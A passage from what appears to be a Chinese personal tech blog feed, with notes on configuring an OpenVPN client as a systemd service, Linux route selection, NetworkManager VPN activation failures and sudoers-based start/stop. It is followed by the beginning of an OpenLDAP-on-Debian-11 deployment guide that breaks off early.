WorkingDirectory=&amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;client
ExecStartPre=&amp;#x2F;bin&amp;#x2F;bash -c &amp;#x27;until ping -c 1 -W 5 192.168.2.1; do sleep 1; done
ExecStart=&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;openvpn --suppress-timestamps --nobind --config %i.conf
CapabilityBoundingSet=CAP_IPC_LOCK CAP_NET_ADMIN CAP_NET_RAW CAP_SETGID CAP_SETUID CAP_SETPCAP CAP_SYS_CHROOT CAP_DAC_OVERRIDE
LimitNPROC=10
DeviceAllow=&amp;#x2F;dev&amp;#x2F;null rw
DeviceAllow=&amp;#x2F;dev&amp;#x2F;net&amp;#x2F;tun rw
ProtectSystem=true
ProtectHome=true
KillMode=process
[Install]
WantedBy=multi-user.target
EOF

cat &amp;lt;&amp;lt;EOF | sudo tee &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;client&amp;#x2F;work.conf
client
dev tun
proto tcp
remote &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;
resolv-retry infinite
nobind
persist-key
persist-tun
comp-lzo no

auth-user-pass
# openvpn3 客户端支持账户认证, openvpn2 好像支持环境变量热证
# &amp;lt;auth-user-pass&amp;gt;
# VPN_USERNAME_HERE
# VPN_PASSWORD_HERE
# &amp;lt;&amp;#x2F;auth-user-pass&amp;gt;
remote-cert-tls server

data-ciphers AES-256-GCM:AES-256-CBC
data-ciphers-fallback AES-256-CBC
verb 3
&amp;lt;ca&amp;gt;
-----BEGIN CERTIFICATE-----
XXX base 64
-----END CERTIFICATE-----
&amp;lt;&amp;#x2F;ca&amp;gt;
EOF
sudo systemctl start openvpn-client@work.service
# 可以手动调节metric 防止影响局域网路由
sudo ip route change default via 10.8.0.1 dev tun0 metric 300
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fu-wu-duan-pei-zhi&quot;&gt;服务端配置&lt;&#x2F;h1&gt;
&lt;p&gt;可以参考ldap账户认证&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi-lu-you&quot;&gt;配置路由&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip route
# 192.168.5.0&amp;#x2F;24 dev eno1 proto kernel scope link src 192.168.5.23 metric 100 
# 192.168.4.0&amp;#x2F;22 via 10.8.0.9 dev tun0 
# 192.168.4.0&amp;#x2F;22 via 10.8.0.9 dev tun0 metric 10
ip route get 192.168.5.244
# 192.168.5.244 dev eno1 src 192.168.5.23 uid 1000
#     cache

# 为什么经过dev tun0 的路由地址metric优先级(10)更高, 但是路由却走了直连的路由？？？
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yuan-yin&quot;&gt;原因&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Metric 只在“相同目标前缀”的多条路由之间比较时才生效。
&lt;ul&gt;
&lt;li&gt;例如：两条都是 192.168.5.0&#x2F;24，一个 metric 10，一个 metric 100 → 选 metric 10。&lt;&#x2F;li&gt;
&lt;li&gt;但你的 metric 10 路由是 192.168.4.0&#x2F;22，和 192.168.5.0&#x2F;24 不是相同前缀！&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;前缀长度优先于 metric
&lt;ul&gt;
&lt;li&gt;目标地址 192.168.5.244 属于 192.168.5.0&#x2F;24 网段。&lt;&#x2F;li&gt;
&lt;li&gt;Linux 路由查找时会做 最长前缀匹配（Longest Prefix Match），而：&lt;&#x2F;li&gt;
&lt;li&gt;192.168.5.0&#x2F;24 是 &#x2F;24 前缀&lt;&#x2F;li&gt;
&lt;li&gt;192.168.4.0&#x2F;22 虽然也包含 192.168.5.244（因为 &#x2F;22 覆盖 192.168.4.0 ~ 192.168.7.255），但它是 更短的前缀（&#x2F;22 &amp;lt; &#x2F;24）&lt;&#x2F;li&gt;
&lt;li&gt;✅ 所以系统 优先选择更具体的 &#x2F;24 路由&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ru-guo-ni-zhen-de-xiang-rang-192-168-5-244-zou-tun0-zen-me-ban&quot;&gt;如果你真的想让 192.168.5.244 走 tun0 怎么办？&lt;&#x2F;h2&gt;
&lt;p&gt;这是个非常规需求（因为 192.168.5.244 和你本机在同一个局域网），但技术上可以做到：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tian-jia-geng-ju-ti-de-32-lu-you-tui-jian&quot;&gt;添加更具体的 &#x2F;32 路由（推荐）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip route add 192.168.5.244 via 10.8.0.9 dev tun0 metric 5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-ce-lue-lu-you-gao-ji&quot;&gt;使用策略路由（高级）&lt;&#x2F;h3&gt;
&lt;p&gt;通过 ip rule + 自定义路由表，对特定用户&#x2F;进程&#x2F;防火墙标记的流量使用不同路由。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip rule add to 192.168.5.244&amp;#x2F;24 lookup 100
sudo ip route add default via 10.8.0.9 dev tun0 table 100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bao-cuo-nexthop-has-invalid-gateway-wang-guan-bi-xu-xie-tun-peer-2026-09-shi-ce&quot;&gt;报错 &lt;code&gt;Nexthop has invalid gateway&lt;&#x2F;code&gt;：网关必须写 tun peer（2026-09 实测）&lt;&#x2F;h3&gt;
&lt;p&gt;给隧道内某个未推送网段的主机加 &#x2F;32 路由时，把网关写成了服务端内网网关：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip route add 192.168.1.1&amp;#x2F;32 via 192.168.4.1 dev tun0
# Error: Nexthop has invalid gateway.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内核要求 nexthop 在指定设备的&lt;strong&gt;直连网络内&lt;&#x2F;strong&gt;（on-link）。tun0 是点对点口（&lt;code&gt;10.8.0.6 peer 10.8.0.5&#x2F;32&lt;&#x2F;code&gt;），直连的只有 peer 一个地址；&lt;code&gt;192.168.4.1&lt;&#x2F;code&gt; 只是经路由（&lt;code&gt;192.168.4.0&#x2F;22 via 10.8.0.5&lt;&#x2F;code&gt;）才可达的远端地址，不能直接当 nexthop。隧道内所有目的地址都由 peer 代投，&lt;strong&gt;网关一律写 peer&lt;&#x2F;strong&gt;（即已推送路由里的 via 地址）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ip route add 192.168.1.1&amp;#x2F;32 via 10.8.0.5 dev tun0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以加 &lt;code&gt;onlink&lt;&#x2F;code&gt; 强制跳过检查，但语义绕，不推荐。&lt;&#x2F;p&gt;
&lt;p&gt;顺带实测：网关写&lt;strong&gt;自己&lt;&#x2F;strong&gt;的 tun 地址（&lt;code&gt;via 10.8.0.6&lt;&#x2F;code&gt;）内核同样接受（自己的地址必然 on-link），且路由会被直接退化&#x2F;简化为直连——&lt;code&gt;ip route get&lt;&#x2F;code&gt; 里 &lt;code&gt;via&lt;&#x2F;code&gt; 消失，变成 &lt;code&gt;192.168.1.1 dev tun0&lt;&#x2F;code&gt;，报文路径与写 peer 完全一致。能用，但不如写 peer 语义清晰（真实下一跳、与推送路由风格一致）。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;networkmanager-gnome-wei-shen-me-qi-bu-dong-vpn-2026-09-shi-ce&quot;&gt;NetworkManager&#x2F;GNOME 为什么启不动 VPN（2026-09 实测）&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;用 GNOME 设置导入 .ovpn（NetworkManager openvpn 插件）建好连接后，点「启用」不报错，但退出再进页面仍是未启用状态；ping 不通 VPN 虚拟内网地址（隧道根本没起来）。命令行激活同样失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ nmcli con up smyl
错误：连接激活失败：Could not find source connection.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fu-wu-duan-qi-shi-mei-wen-ti&quot;&gt;服务端其实没问题&lt;&#x2F;h2&gt;
&lt;p&gt;用 openvpn CLI 带同一份 CA 凭据直接握手（&lt;code&gt;--dev null&lt;&#x2F;code&gt; 只测控制面、不动路由）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;VERIFY OK: depth=0, CN=smyl
TLS: move_session: dest=TM_ACTIVE ...
PUSH: Received control message: &amp;#x27;PUSH_REPLY,route 192.168.4.0 255.255.252.0,ifconfig 10.8.0.6 10.8.0.5,...&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;服务器、证书、账号全正常，问题只在客户端激活环节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-nm-de-vpn-bi-xu-die-jia-zai-zhu-lian-jie-shang&quot;&gt;根因：NM 的 VPN 必须叠加在「主连接」上&lt;&#x2F;h2&gt;
&lt;p&gt;NetworkManager 日志（&lt;code&gt;sudo journalctl -u NetworkManager&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;audit: op=&amp;quot;connection-activate&amp;quot; name=&amp;quot;smyl&amp;quot; ... result=&amp;quot;fail&amp;quot; reason=&amp;quot;Could not find source connection.&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;NM 源码（&lt;code&gt;src&#x2F;core&#x2F;nm-manager.c&lt;&#x2F;code&gt; 的 &lt;code&gt;_new_active_connection()&lt;&#x2F;code&gt;）：激活 VPN 时必须先有 parent——未指定 specific base connection 时取 &lt;code&gt;priv-&amp;gt;primary_connection&lt;&#x2F;code&gt;（即 NM 托管的、持有默认路由的已激活连接），拿不到就直接报 &quot;Could not find source connection.&quot;。也就是说 &lt;strong&gt;NM 把 VPN 建模为「基连接之上的叠加层」，不允许凭空激活&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;本机主网络是 ifupdown 静态配置的桥（vmbr0&#x2F;eno1，&lt;code&gt;&#x2F;etc&#x2F;network&#x2F;interfaces&lt;&#x2F;code&gt;），而 NM 默认 &lt;code&gt;[ifupdown] managed=false&lt;&#x2F;code&gt; → 该网络对 NM 是「未托管」（&lt;code&gt;nmcli dev status&lt;&#x2F;code&gt; 里 vmbr0 = 未托管，NM 整体状态只到 CONNECTED_LOCAL）→ NM 眼里没有任何带默认路由的连接 → &lt;code&gt;primary_connection&lt;&#x2F;code&gt; 为空 → 任何 VPN 启用必失败。&lt;&#x2F;p&gt;
&lt;p&gt;结论：&lt;strong&gt;只要主网络不由 NM 托管&lt;&#x2F;strong&gt;（ifupdown&#x2F;systemd-networkd 的静态桥、libvirt 桥接等常见于服务器&#x2F;虚拟化主机），GNOME&#x2F;NM 的 VPN 开关就用不了——不是配置问题，是 NM 的模型限制。这类机器要么把主网络重构给 NM 管理（动网有风险），要么绕开 NM 直接用 openvpn CLI &#x2F; systemd 服务。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pu-tong-yong-hu-wei-shen-me-pao-bu-liao-openvpn-systemctl-user-ye-bu-xing&quot;&gt;普通用户为什么跑不了 openvpn（systemctl --user 也不行）&lt;&#x2F;h2&gt;
&lt;p&gt;即使 &lt;code&gt;&#x2F;dev&#x2F;net&#x2F;tun&lt;&#x2F;code&gt; 是 0666，普通用户运行 openvpn 仍失败：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ERROR: Cannot ioctl TUNSETIFF tun-probe2: Operation not permitted (errno=1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;TUNSETIFF（创建 tun 口）要求 &lt;strong&gt;CAP_NET_ADMIN&lt;&#x2F;strong&gt;，与设备文件权限无关；而 systemd &lt;strong&gt;user&lt;&#x2F;strong&gt; manager 运行在普通用户权限域内，无法授予该 capability，所以把 unit 复制成 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;&lt;&#x2F;code&gt; 服务同样失败。openvpn 需要的其实只是「建 tun + 配 IP + 写路由」那一下 root，TLS&#x2F;认证本身不需要特权。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-fa&quot;&gt;解法&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;方案&lt;&#x2F;th&gt;&lt;th&gt;做法&lt;&#x2F;th&gt;&lt;th&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;systemd 系统服务（推荐）&lt;&#x2F;td&gt;&lt;td&gt;配置放 &lt;code&gt;&#x2F;etc&#x2F;openvpn&#x2F;client&#x2F;*.conf&lt;&#x2F;code&gt;，&lt;code&gt;sudo systemctl enable --now openvpn-client@xxx&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;不依赖 NM，开机自启，无脑可用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;普通用户免密启停&lt;&#x2F;td&gt;&lt;td&gt;sudoers 窄白名单放行该 unit 的 systemctl 命令&lt;&#x2F;td&gt;&lt;td&gt;比 &lt;code&gt;systemctl --user&lt;&#x2F;code&gt; 简单直接&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;sudoers 白名单示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# &amp;#x2F;etc&amp;#x2F;sudoers.d&amp;#x2F;openvpn-smyl
peter ALL=(root) NOPASSWD: &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl start openvpn-client@smyl, &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl stop openvpn-client@smyl, &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl restart openvpn-client@smyl, &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;systemctl status openvpn-client@smyl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后普通用户 &lt;code&gt;sudo systemctl start openvpn-client@smyl&lt;&#x2F;code&gt; 即可随时启停，无需输密码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;systemd-ke-hu-duan-lian-bu-shang-de-keng-2026-09-shi-ce&quot;&gt;systemd 客户端连不上的坑（2026-09 实测）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;remote-bu-shi-nm-de-host-port-xie-fa&quot;&gt;remote 不是 NM 的 &lt;code&gt;host:port&lt;&#x2F;code&gt; 写法&lt;&#x2F;h3&gt;
&lt;p&gt;把 GNOME&#x2F;NM 连接里的 remote（&lt;code&gt;61.149.15.167:7896&lt;&#x2F;code&gt;，冒号）原样抄进 &lt;code&gt;&#x2F;etc&#x2F;openvpn&#x2F;client&#x2F;*.conf&lt;&#x2F;code&gt; 后，服务反复重启，日志：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;RESOLVE: Cannot resolve host address: 61.149.15.167:7896:1194 (Name or service not known)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;openvpn 的 &lt;code&gt;remote&lt;&#x2F;code&gt; 是&lt;strong&gt;空格分隔&lt;&#x2F;strong&gt; &lt;code&gt;&amp;lt;host&amp;gt; &amp;lt;port&amp;gt;&lt;&#x2F;code&gt;；冒号写法会把整串当主机名去解析（结尾多出的 &lt;code&gt;:1194&lt;&#x2F;code&gt; 是默认端口）。NM 的 vpn.data 里是 &lt;code&gt;host:port&lt;&#x2F;code&gt; 单字段，两处语法不同，别混抄。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiao-xin-crlf-xing-wei&quot;&gt;小心 CRLF 行尾&lt;&#x2F;h3&gt;
&lt;p&gt;配置文件被保存成 CRLF（&lt;code&gt;\r\n&lt;&#x2F;code&gt;）后，肉眼、&lt;code&gt;grep -n&lt;&#x2F;code&gt; 都看不出差异，但 &lt;code&gt;sed&lt;&#x2F;code&gt; 的 &lt;code&gt;$&lt;&#x2F;code&gt; 锚点、diff 等工具会静默失效。统一转 LF 再改：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo sed -i &amp;#x27;s&amp;#x2F;\r$&amp;#x2F;&amp;#x2F;&amp;#x27; &amp;#x2F;etc&amp;#x2F;openvpn&amp;#x2F;client&amp;#x2F;smyl.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>OpenLDAP 应用服务器部署介绍在 Debian 11 系统上安装 OpenLDAP 服务器，还介绍了如何使用 LD</title>
        <published>2025-10-26T00:00:00+00:00</published>
        <updated>2025-10-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/openldap-应用服务器部署介绍在-debian-11-系统上安装-openldap-服务器-还介绍了如何使用-ld/"/>
        <id>https://vercel.juzhong.asia/obsidian/openldap-应用服务器部署介绍在-debian-11-系统上安装-openldap-服务器-还介绍了如何使用-ld/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/openldap-应用服务器部署介绍在-debian-11-系统上安装-openldap-服务器-还介绍了如何使用-ld/">&lt;h1 id=&quot;openldap-ying-yong-fu-wu-qi-bu-shu-jie-shao-zai-debian-11-xi-tong-shang-an-zhuang-openldap-fu-wu-qi-huan-jie-shao-liao-ru-he-shi-yong-ld&quot;&gt;OpenLDAP 应用服务器部署介绍在 Debian 11 系统上安装 OpenLDAP 服务器，还介绍了如何使用 LD&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7309323953683480588&quot;&gt;https:&#x2F;&#x2F;juejin.cn&#x2F;post&#x2F;7309323953683480588&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;OpenLDAP 应用服务器部署&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gai-nian-jie-shao&quot;&gt;概念介绍&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;ldap-o-ou-object-classes.webp&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在 &lt;code&gt;LDAP&lt;&#x2F;code&gt;（轻型目录访问协议）中，&lt;code&gt;o&lt;&#x2F;code&gt; 和 &lt;code&gt;ou&lt;&#x2F;code&gt; 都是对象类的属性，用于表示组织或组织单元。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;o&lt;&#x2F;code&gt; 属性代表组织（Organization），通常用于表示整个组织或实体的名称。它可以是一个公司、学校、机构等的名称。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ou&lt;&#x2F;code&gt; 属性代表组织单元（Organizational Unit），用于组织和分类具有共同特征的条目。通常将 &lt;code&gt;ou&lt;&#x2F;code&gt; 用于组织内部的部门、团队、组等。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 目录结构中，通常会使用 &lt;code&gt;dc&lt;&#x2F;code&gt;（Domain Component）作为根节点，然后使用 &lt;code&gt;o&lt;&#x2F;code&gt; 和 &lt;code&gt;ou&lt;&#x2F;code&gt; 来组织和层次化地管理条目。&lt;&#x2F;p&gt;
&lt;p&gt;例如，以下是一个示例的 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 目录结构：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;dc=example,dc=com
  |
  |- o=Example Organization
       |
       |- ou=Sales
       |     |
       |     |- cn=John Doe
       |     |- cn=Jane Smith
       |
       |- ou=Marketing
             |
             |- cn=Mike Johnson
             |- cn=Linda Brown
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;dc=example,dc=com&lt;&#x2F;code&gt; 是根节点，&lt;code&gt;o=Example Organization&lt;&#x2F;code&gt; 表示该组织的名称。然后，&lt;code&gt;ou=Sales&lt;&#x2F;code&gt; 和 &lt;code&gt;ou=Marketing&lt;&#x2F;code&gt; 分别表示组织单元（部门），而 &lt;code&gt;cn=John Doe&lt;&#x2F;code&gt;、&lt;code&gt;cn=Jane Smith&lt;&#x2F;code&gt;、&lt;code&gt;cn=Mike Johnson&lt;&#x2F;code&gt; 和 &lt;code&gt;cn=Linda Brown&lt;&#x2F;code&gt; 则表示个人或用户。&lt;&#x2F;p&gt;
&lt;p&gt;在一些常见的情况中，你可能会看到 &lt;code&gt;ou&lt;&#x2F;code&gt;（organizational unit）组织单元分为 &#x27;users&#x27; 和 &#x27;groups&#x27;。在这种情况下，&#x27;user&#x27; 通常会存储单个用户账户的信息，而 &#x27;groups&#x27; 通常会包含用户组的信息，而用户可能会属于一个或多个用户组。例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;ou=users,ou=HR,o=My Company,dc=example,dc=com
ou=groups,ou=HR,o=My Company,dc=example,dc=com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然而，这并不是唯一可行的结构。&lt;code&gt;LDAP&lt;&#x2F;code&gt; 是一种非常灵活的协议，允许你根据自己的需要定制结构。因而，实际的目录结构可能会根据你的组织特定的需求有所不同。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;LDAP、OpenLDAP、AD 三者的关系&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;LDAP&lt;&#x2F;th&gt;&lt;th&gt;OpenLDAP&lt;&#x2F;th&gt;&lt;th&gt;AD (Active Directory)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;定义&lt;&#x2F;td&gt;&lt;td&gt;轻量目录访问协议&lt;&#x2F;td&gt;&lt;td&gt;开源 LDAP 服务器实现&lt;&#x2F;td&gt;&lt;td&gt;微软开发的目录服务解决方案&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;功能&lt;&#x2F;td&gt;&lt;td&gt;访问和管理分布式目录服务&lt;&#x2F;td&gt;&lt;td&gt;提供符合 LDAP 标准的服务和功能&lt;&#x2F;td&gt;&lt;td&gt;在 Windows 环境中集中管理用户、计算机、资源和策略等信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;平台支持&lt;&#x2F;td&gt;&lt;td&gt;跨平台&lt;&#x2F;td&gt;&lt;td&gt;跨平台&lt;&#x2F;td&gt;&lt;td&gt;仅限于 Windows 平台&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;扩展性&lt;&#x2F;td&gt;&lt;td&gt;可以通过添加自定义模式（schema）扩展&lt;&#x2F;td&gt;&lt;td&gt;支持自定义模式（schema）的扩展&lt;&#x2F;td&gt;&lt;td&gt;支持自定义模式（schema）及其他特性的扩展&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;认证方式&lt;&#x2F;td&gt;&lt;td&gt;基于 LDAP 进行身份验证&lt;&#x2F;td&gt;&lt;td&gt;基于 LDAP 进行身份验证&lt;&#x2F;td&gt;&lt;td&gt;基于 Kerberos 和 NTLM 协议进行身份验证&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;用途&lt;&#x2F;td&gt;&lt;td&gt;通用的分布式目录服务协议&lt;&#x2F;td&gt;&lt;td&gt;构建企业级的目录服务&lt;&#x2F;td&gt;&lt;td&gt;在 Windows 环境中集中管理用户、计算机、资源和策略等信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-concepts-comparison.webp&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ceng-ji-jie-gou-gui-hua&quot;&gt;层级结构规划&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;⚠️ 下面部门信息并非真实哦！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面是一个较为完整的 &lt;code&gt;LDAP&lt;&#x2F;code&gt;（轻型目录访问协议）设计：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dc=bytedance,dc=local                        # dc（Distinguished Name）（域名组成）
|
|-- o=Bytedance_China                        # o（Organization）组织机构、公司
|   |
|   |-- ou=Beijing                           # ou（Organization Unit）组织单元、城市
|   |   |
|   |   |-- ou=Douyin_Dep                    # 二级 ou、部门
|   |   |   |-- ou=Development               # 三级 ou、类别
|   |   |   |   |-- ou=Users                 # 四级 ou、用户
|   |   |   |   |   |-- uid=zhangsan         # Entry 项（包含若干 Object Classes 对象类 和 Attribute 属性）
|   |   |   |   |   |-- uid=liming
|   |   |   |   |-- ou=Groups                # 用户组
|   |   |   |       |-- gid=zhangsan
|   |   |   |       |-- gid=liming
|   |   |   |-- ou=Product
|   |   |   |-- ou=Operations
|   |   |   |-- ou=Live_Broadcasting
|   |   |   |-- ou=Ecommerce
|   |   |   etc...
|   |   |
|   |   |-- ou=Feishu_Dep
|   |   |   |-- ou=Development
|   |   |   |-- ou=Product
|   |   |   |-- ou=Testing
|   |   |   etc...
|   |   |
|   |   |-- ou=Dongchedi_Dep
|   |   |   |-- ou=Development
|   |   |   |-- ou=Sales
|   |   |   |-- ou=Marketing
|   |   |   etc...
|   |   |
|   |   |-- ou=Toutiao_Dep
|   |       |-- ou=Development
|   |       |-- ou=Advertisements
|   |       etc...
|   |
|   |-- ou=Shanghai
|   |-- ou=Guangzhou
|   etc...
|
|-- o=Bytedance_AMS
|   |
|   |-- ou=MountainView
|   |   |
|   |   |-- ou=Tiktok_Dep
|   |       |-- ou=Development
|   |       |   |-- ou=Users
|   |       |   |   |-- uid=John
|   |       |   |-- ou=Groups
|   |       |       |-- gid=John
|   |       etc...
|   |
|   |-- ou=SanJose
|       |
|       |-- ou=Lark_Dep
|           |-- ou=Product
|           |   |-- ou=Users
|           |   |   |-- uid=Alice
|           |   |-- ou=Groups
|           |       |-- gid=Alice
|           etc...
|
|-- o=Bytedance_APAC
|   |
|   |-- ou=Singapore
|   |-- ou=Tokyo
|   etc...
|
|-- o=Bytedance_EMEA
    |
    |-- ou=London
    |-- ou=Dublin
    etc...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;huan-jing-jie-shao&quot;&gt;环境介绍&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;OS&lt;&#x2F;th&gt;&lt;th&gt;IP&lt;&#x2F;th&gt;&lt;th&gt;Hostname&lt;&#x2F;th&gt;&lt;th&gt;Type&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Debian11&lt;&#x2F;td&gt;&lt;td&gt;10.2.102.201&lt;&#x2F;td&gt;&lt;td&gt;ldap01.bytedance.local&lt;&#x2F;td&gt;&lt;td&gt;Master&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Debian11&lt;&#x2F;td&gt;&lt;td&gt;10.2.102.202&lt;&#x2F;td&gt;&lt;td&gt;ldap02.bytedance.local&lt;&#x2F;td&gt;&lt;td&gt;Slave&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;she-zhi-fu-wu-qi-de-fqdn&quot;&gt;设置服务器的 FQDN&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
